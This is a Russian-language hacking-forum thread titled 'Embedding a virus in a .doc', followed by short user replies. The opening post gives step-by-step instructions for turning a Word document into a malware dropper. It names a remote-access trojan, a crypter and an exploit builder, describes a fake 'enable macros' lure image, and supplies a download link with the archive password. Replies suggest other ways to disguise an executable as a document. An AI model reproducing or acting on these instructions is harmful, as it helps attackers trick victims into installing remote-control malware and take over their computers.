Вшиваем вирус в .doc

[164]

Итак, суть в том, что в роли вредоноса будет выступать .doc файл.
При запуске у жертвы будет уведомление о том, что нужно включить макросы, также в документе картинкой будет прикреплена просьба их включить т.к. типа документ отображается некорректно. После включения вы получаете полный контроль над компьютером жертвы.
Теперь о том, что будет нужно. Нам понадобиться любой ратник, программа для склейки файлов и любой криптор на ваш вкус. Ссылки на те программы, которые использовал я будут ниже.
1) Создаем наш payload в ратнике и криптуем его.
2) Запускаем программу для склейки, добавляем в картинки наше предупреждение (оно есть в архиве Ancalog'а).
3) Выбираем верхний пункт слева, нажимаем "GENERATE EXPLOIT FILE" и ставим наш закриптованный payload. Выскакивает предупреждение, жмем "ОК", далее выскакивает сообщение об успешном создании файла.
Все, файл готов, запускаете ратник и кидаете файл жертве.

По ссылке:

• njRat
• Ancalog Builder
• Aegis Crypter

Пароль от архивов: docsploit

Скачать: https://yadi.sk/d/c0hkJG-e3J3Vfa

 

[Morris]

Тоже так делал) только при запуске запрашивает разрешение запуска макроса, но это херня)

 

[164]

Тоже так делал) только при запуске запрашивает разрешение запуска макроса, но это херня)

Видел еще второй способ, парень через python переделывал файл

 

[Likantrop]

а вт на архив где?🙂

 

[L1po]

ХАПХАХП
я как файлы переместил в папку мне антивирус начал выдавать угорзы

 

[jacksida]

А не легче в док скинуть вирус и открыть док через архиватор и поменять иконку вируса на картинку с текстом "Нажмите два раза , чтобы открыть документ"?

 

[FuckMyLife]

А не легче в док скинуть вирус и открыть док через архиватор и поменять иконку вируса на картинку с текстом "Нажмите два раза , чтобы открыть документ"?

Сам понял, что написал?